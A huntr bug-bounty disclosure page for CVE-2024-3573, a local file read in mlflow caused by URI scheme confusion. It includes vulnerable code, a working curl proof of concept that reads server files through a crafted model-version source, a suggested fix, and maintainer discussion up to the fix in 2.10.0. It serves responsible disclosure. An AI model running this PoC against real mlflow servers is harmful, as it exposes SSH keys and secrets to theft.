

Local File Read (LFI) due to scheme confusion in mlflow/mlflow

✓ Valid

Reported on Sep 25th 2023

As the framework is quite complex, I'm going to take the default configuration as reference for the whole report

Requirements

None: by default no authentication is required.

Description

After reporting the local URI parsing confusion issue in my [previous report](#), I checked the case where `is_local_uri` returns `False` and found an interesting issue: ([permalink](#))

```
def is_local_uri(uri, is_tracking_or_registry_uri=True):
    # ...

    parsed_uri = urllib.parse.urlparse(uri)
    if parsed_uri.hostname and not (
        parsed_uri.hostname == "."
        or parsed_uri.hostname.startswith("localhost")
        or parsed_uri.hostname.startswith("127.0.0.1")
    ):
        return False

    scheme = parsed_uri.scheme
    if scheme == "" or scheme == "file":
        return True

    if is_windows() and len(scheme) == 1 and scheme.lower() == pathlib.Path(uri).drive:
        return True

    return False
```

As you can see from the above, in case `urllib.parse.urlparse` returns an hostname which is not `localhost`, `is_local_uri` would return `False`. As the `scheme` isn't be checked yet, it is possible to create a valid local `URI` which is considered as `remote`. For example:

```
from urllib.parse import urlparse

urlparse("file://mizu.re/a")
# ParseResult(scheme='file', netloc='mizu.re', path='/a', params='', query='', frag

urlparse("//mizu.re/a")
# ParseResult(scheme='', netloc='mizu.re', path='/a', params='', query='', fragment
```

As you can see, it is possible to create both situation, `file scheme` + `netloc` and `empty scheme` + `netloc`. Due to the 2nd parsing behavior, it is possible to bypass the `is_file_uri` check and call `_validate_non_local_source_contains_relative_paths` on the user provided source.

1. `_validate_source`: ([permalink](#))

```
def _validate_source(source: str, run_id: str) -> None:
    if is_local_uri(source):
        # Case where "is_local_uri" -> False

    # ...

    if not MLFLOW_ALLOW_FILE_URI_AS_MODEL_VERSION_SOURCE.get() and is_file_uri(source):
        raise # ERROR

    _validate_non_local_source_contains_relative_paths(source)
```

2. `is_file_uri`: ([permalink](#))

```
def is_file_uri(uri):
    return urllib.parse.urlparse(uri).scheme == "file"
```

As the `_validate_non_local_source_contains_relative_paths` will only check for `..` or `/` path, in the above situation, `//home/user` would be a valid model `source`.

This is interesting because when consuming `artifact_uri`, `mlflow` will parse the `URI` scheme and use the following conversion table: ([permalink](#))

```
{'': <class 'mlflow.store.artifact.local_artifact_repo.LocalArtifactRepository'>, '
```

Thus, `//home/user` would be considered as `LocalArtifactRepository`. In this case, when requesting `http://127.0.0.1:5000/model-versions/get-artifact?path={{FILENAME}}&name=poc&version=1`, it will try to access `//home/user/{{FILENAME}}` which is a valid path file path! In fact, python will normalize it to `/home/user/{{FILENAME}}` before consuming it which allows to read the file inside at least 2 directories (which is the case most of the time).

▮ Proof of Concept

Create a file containing `SECRET` in any 2 levels folder like: `echo "SECRET" > /home/mizu/poc.txt`.

Start the mlflow web server:

```
mlflow ui --host 127.0.0.1:5000
```

Create a registered model:

```
curl -X POST -H 'Content-Type: application/json' -d '{"name": "poc"}' 'http://127.0.0.1:5000/api/2.0/mlflow/models/register-model'
```

Create a malicious model version:

```
curl -X POST -H 'Content-Type: application/json' -d '{"name": "poc", "source": "/home/mizu/poc.txt"}' 'http://127.0.0.1:5000/api/2.0/mlflow/models/create-version'
```

Read `/home/mizu/poc.txt`:

```
curl 'http://127.0.0.1:5000/model-versions/get-artifact?path=poc.txt&name=poc&version=5'
```

```
mizu@mizu:~$ curl 'http://127.0.0.1:5000/model-versions/get-artifact?path=poc.txt&name=poc&version=5'
SECRET
```

▮ Models Impact

This issue can be used to read any files on the system. Depending on the server configuration, this could impact them at many levels.

▮ Fix suggestion

Inside `is_local_uri` check the scheme first: ([permalink](#))

```
def is_local_uri(uri, is_tracking_or_registry_uri=True):
    # ...
```

```

parsed_uri = urllib.parse.urlparse(uri)

scheme = parsed_uri.scheme
if scheme == "" or scheme == "file":
    return True

if parsed_uri.hostname and not (
    parsed_uri.hostname == "."
    or parsed_uri.hostname.startswith("localhost")
    or parsed_uri.hostname.startswith("127.0.0.1")
):
    return False

if is_windows() and len(scheme) == 1 and scheme.lower() == pathlib.Path(uri).dr

    return True

return False

```

Inside `is_file_uri`, consider checking for `empty` scheme too: ([permalink](#))

```

def is_file_uri(uri):
    return urllib.parse.urlparse(uri).scheme == "file" or urllib.parse.urlparse(uri)

```

Impact

A malicious user could abuse this vulnerability to read any file on the victim server like:

- SSH Keys
- Artifacts information
- Internal configuration
- Sensitive files
- ...

Occurrences

uri.py L60

Doesn't consider `empty` scheme as `file` URI.

uri.py L26

Improper parsing, `//x/y` & `file://x/y` returns `False`.

⚙️ We are processing your report and will contact the **mlflow** team within 24 hours. 2 years ago

🔗 A **GitHub Issue** asking the maintainers to create a `SECURITY.md` exists 2 years ago

✉️ We have contacted a member of the **mlflow** team and are waiting to hear back 2 years ago

✎️ **Dan McInerney** modified the Severity from Critical (10) to Critical (9.3) 2 years ago

★ The researcher has received a minor penalty to their credibility for miscalculating the severity: -1

✅ **Dan McInerney** validated this vulnerability 2 years ago

Hi Mizu,

Thanks for a great PoC, validated. CVSS score changed for stricter adherence to CVE standards, see comment your previous similar report for details.

Thanks, Dan McInerney Lead Threat Researcher

\$ **kevin-mizu** has been awarded the disclosure bounty ✅

\$ The fix bounty is now up for grabs

★ The researcher's credibility has increased: +7

❤️ **Dan McInerney** gave praise 2 years ago

Great PoC, undo CVSS score penalty.

★ The researcher's credibility has slightly increased as a result of the maintainer's thanks: +1

Harutaka Kawamura commented 2 years ago

Maintainer

Hi Mizu,

Thanks for reporting this. Did <https://github.com/mlflow/mlflow/pull/10638> fix this vulnerability?

Mizu commented 2 years ago

Researcher

Hi ☹️

I don't think this will be enough to fix this issue. As mentioned in the report, `urllib.parse` can return a remote `netloc` with a `file` URI, for example:

```
from urllib.parse import urlparse
```

```
urlparse("file://mizu.re/a")
```

```
# ParseResult(scheme='file', netloc='mizu.re', path='/a', params='', query='', fragment='')
```

Due to this, it would be possible to bypass the `is_local_uri` because it checks for the `netloc` before if the wrapper is `file://`.

I think the best way to fix it is to first make all `scheme` checks before looking at the `netloc` 🌐

Serena Ruan commented 2 years ago

Maintainer

Hi Mizu,

Another PR to fix this is <https://github.com/mlflow/mlflow/pull/10651> But we're discussing if `file://hostname/path/to/file` is a valid remote url or not. Could you provide any insights? Thanks!

Mizu commented 2 years ago

Researcher

Hi 🌐

On window it should be a valid `remote` SMB URL therefore, I might be wrong, but it would be recognized as a `file store` anyway.

Mizu commented 2 years ago

Researcher

Hi 🌐

Why is there is another report validated (reported 2 month after this one), about this bug?

<https://huntr.com/bounties/fe53bf71-3687-4711-90df-c26172880aaf/>

Serena Ruan commented 2 years ago

Maintainer

Hi Mizu, sorry for the late reply. We were solving all those tickets together so that report is also validated. Could you validate if <https://github.com/mlflow/mlflow/pull/10651> fixes the problem?



A **mlflow/mlflow** maintainer has acknowledged this report 2 years ago

Mizu commented 2 years ago

Researcher

Hi 🌐

Yes, the fix looks to be fine!

- ✓

Serena Ruan marked this as fixed in 2.10.0 with commit 438a45 2 years ago
- \$

The fix bounty has been dropped

✗
- \$

uri.py#L60 has been validated

✓
- \$

uri.py#L26 has been validated

✓
- ✎

Adam Nygate set the scheduled publication date to Apr 16th 2024 UTC 2 years ago
- 👤

CVE-2024-3573 assigned to this report. 2 years ago
- ✎

A huntr admin modified the scheduled publication date from 16th Apr 2024 to 16th Apr 2024 2 years ago
- ⚠

We have sent a warning to the mlflow team to inform them that this report will be published in 48 hours 2 years ago
- 📡

This vulnerability has now been published 2 years ago
- 👤

CVE-2024-3573 has now been published 2 years ago

[Sign in](#) to join this conversation

CVE

CVE-2024-3573

Published

Vulnerability Type

CWE-29: Path Traversal: '..\filename'

Severity

Critical (9.3)

Attack vector

Network

Attack complexity

Low

Privileges required

None

User interaction

None

Scope

Changed

Confidentiality

High

Integrity

Low

Availability

None

Open in visual CVSS calculator

🔗

Registry

Pypi

Affected Version

2.7.1 (latest)

Visibility

Public

Status

Fixed

Disclosure Bounty

\$1800

Fix Bounty

\$375

Found by



Mizu

@kevin-mizu

LIGHTWEIGHT



Supported by [Palo Alto Networks](#) and Prisma AIRS, leading the way to greater AI security.



© 2024

[Privacy Policy](#)

[Terms of Service](#)

[Code of Conduct](#)

[Cookie Preferences](#)

[Contact Us](#)